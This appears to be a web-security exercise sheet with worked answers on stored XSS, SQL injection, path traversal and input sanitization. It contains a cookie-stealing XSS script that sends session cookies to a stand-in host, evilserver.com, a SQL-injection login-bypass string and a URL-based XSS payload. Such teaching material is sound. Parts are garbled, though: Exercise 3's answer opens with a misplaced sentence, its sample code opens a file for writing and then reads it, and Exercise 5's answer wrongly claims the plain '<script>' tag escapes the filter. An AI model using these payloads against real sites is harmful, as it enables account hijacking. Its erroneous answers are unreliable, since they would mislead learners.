Exercise 1: *XSS*

Suppose you know that a particular web site offers a bulletin board feature (i.e., users can post comments that can be read by other users). How could you steal the session cookie of another user?

Answer to Exercise 1

We need to find a method for accessing the session cookie of another user, this includes two steps:

1. We use JavaScript for accessing the cookies "locally" (i.e., in the context of the other user). Using JavaScript, we can access all cookies (including the session cookie) using `document.cookie`.
2. We can transfer the cookies from the context of the victim to a server that we control, e.g., by accessing a URL to a web server that we control that has the cookies appended to it.

Putting those two steps together, we can obtain a session cookie of another user by posting a message that contains the following code:

```
<script>
  var httpRequest = new XMLHttpRequest();
  httpRequest.open('GET', 'https://evilserver.com/?cookies=' + document.cookie);
  httpRequest.send();
</script>
```

Here we assume that we (as attacker) control the server evilserver.com, i.e., we can install a small REST service for collecting the cookies (or read the log file of the web server).

Now, if the victim reads our post containing this injected JavaScript code (i.e., exploiting a stored XSS vulnerability), our code is executed, i.e., accessing the victim's cookie and sending them in the GET request to us. Using the session cookie of the victim, we can access the web site using the victim's account (the session cookie is, as long as the victim is logged in, as good as, e.g., the username and password).

Exercise 2: *SQL Injection*

Suppose you know that a particular web site uses a backend database to implement authentication. Given a login page with username and password fields, what would you type into these fields to try to perform SQL injection to bypass proper authentication? Briefly explain why your approach would work.

Answer to Exercise 2

The authentication could be done by selecting a user's record from the database only if the password is correct. To perform an SQL injection in this case, you could type into the password field the text `'_OR_1=1_--_`

Or you could leave the password field blank and try to type `'_OR_1=1_--` into the user field (where user is the username you are interested in authenticating). In both cases, you end bypassing the password check.

This attack works, if we assume that the site constructs the query similar to the following example:

```
String query = "SELECT token FROM users WHERE user = '"+user+"'
               AND password = '"+pass+"'"
```

If `user` and `pass` are the contents of the web fields then the resulting string will be

```
SELECT token FROM users WHERE user = 'bob' AND password = '' OR 1=1 --'
```

for the attack mentioned above. This will select Bob's token and skip the password check thanks to the added "or" clause.

Exercise 3: *Analyzing Source Code*

1. What vulnerability exists in the following code?

```
def readFile(request):
  result=HttpResponse()
  file = request.GET.get('currentFile')
  f = open(file, 'w')
  for index,line in enumerate(f):
    result.write(str(index)+"␣"+line+"")
  return result
```

2. What vulnerability exists in the following code?

```
function processUrl()
{
    var pos = url.indexOf("?");
    url = pos != -1 ? url.substr(pos + 1) : "";
    if (!parent._ie_firstload) {
        parent.BrowserHistory.setBrowserURL(url);
        try {
            parent.BrowserHistory.browserURLChange(url);
        } catch(e) { }
    } else {
        parent._ie_firstload = false;
    }
}

var url = document.location.href;
processUrl();
document.write(url);
```

Answers to Exercise 3

We need to find a method for accessing the session cookie of another user, this includes two steps:

1. The code is not secured against *Path Traversal*, i.e, an attacker controlling the input `currentFile` can use path navigation (e.g,. `../../`) to write into arbitrary files on the system.
2. Cross-site Scripting (XSS): The content of the URL is written unmodified into the output page. Thus, the XSS payload needs to be included in the URL, e.g.,

`http://www.some.site/flex_html_wrapper.html#<script>alert(document.cookie)</script>`

Exercise 4: *Input Sanitization*

The recommendation for preventing injection attacks is to *sanitize* (filter) user input. In general, there are two approaches for filtering input: *Blacklisting* and *whitelisting*.

- Briefly explain the concepts blacklisting and whitelisting.
- Which approach is usually recommended? Briefly explain your answer.

Answers to Exercise 4

- *Whitelisting* defines the allowed characters, i.e., it only allows only strings that are based on a well-defined set of characters. Everything else is forbidden. *Blacklisting* defines the forbidden characters, i.e., it only allows strings that do not contain a character from a well-defined subset of characters. Everything else is allowed.
- One should prefer *whitelisting* as it is the stricter approach (only allowing known characters). It is "fail-safe" in the sense that missing characters in the white list does not create a security risk (it might harm the business functionality, though). In contrast, forgetting characters in the black list might results in allowing certain attacks.

Exercise 5: *Input Sanitization*

To protect an application against XSS attacks, a programmer writes the following code for removing script-tags.

```
function sanitize_xss(input)
{
   return input.split("<script>").join("").split("<\script>").join("");
}
```

Does this work?

Answer to Exercise 5

No. This approach of filtering out forbidden characters is called *blacklisting* and its use is generally discouraged as one easily forgets to filter out *all* dangerous characters or strings. Here, for example, the tag `<script>` would still be passed unaltered. It is much better to do the opposite, i.e., specifying the legal (safe) input – this is called *whitelisting*.

Exercise 6: *Input Sanitization*

For preventing SQL injections, web application developers implement a *client-side* whitelisting in JavaScript. You can assume that the whitelisting is strict, e.g., only allowing lower-case and upper-case characters to be passed to the backend.

Does this approach prevent SQL injection? Explain briefly your answer.

Answer to Exercise 6

No. Client-side mechanism cannot protect against SQL injection which usually attacks the server-side implementation.